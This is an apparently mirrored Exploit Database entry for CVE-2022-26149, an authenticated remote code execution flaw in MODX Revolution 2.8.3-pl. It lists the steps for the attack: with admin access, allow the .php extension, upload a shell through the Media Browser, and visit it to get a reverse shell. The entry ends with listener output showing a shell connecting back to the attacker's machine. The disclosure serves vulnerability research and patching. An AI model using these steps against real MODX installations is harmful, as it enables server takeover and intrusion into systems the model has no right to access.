MODX Revolution v2.8.3-pl – Authenticated Remote Code Execution

• Exploit Database
• 15 阅读

• 作者： Sarang Tumne
  日期： 2023-03-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51059/

• # Exploit Title: MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution
  # Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) 
  # Date: 26th Feb'2022
  # CVE ID: CVE-2022-26149
  # Confirmed on release 2.8.3-pl
  # Reference: https://github.com/sartlabs/0days/blob/main/Modx/Exploit.txt
  # Vendor: https://modx.com/download
  
  ###############################################
  #Step1- Login with Admin Credentials
  #Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:
  Add the php file extension under the "Uploadable File Types" option available in "System Settings" 
  #Step3- Now Goto Media=>Media Browser and upload the Shell.php
  #Step4- Now visit http://IP_Address/Shell.php and get the reverse shell:
  
  listening on [any] 4477 ...
  connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 58056
  bash: cannot set terminal process group (1445): Inappropriate ioctl for device
  bash: no job control in this shell
  daemon@debian:/opt/bitnami/modx$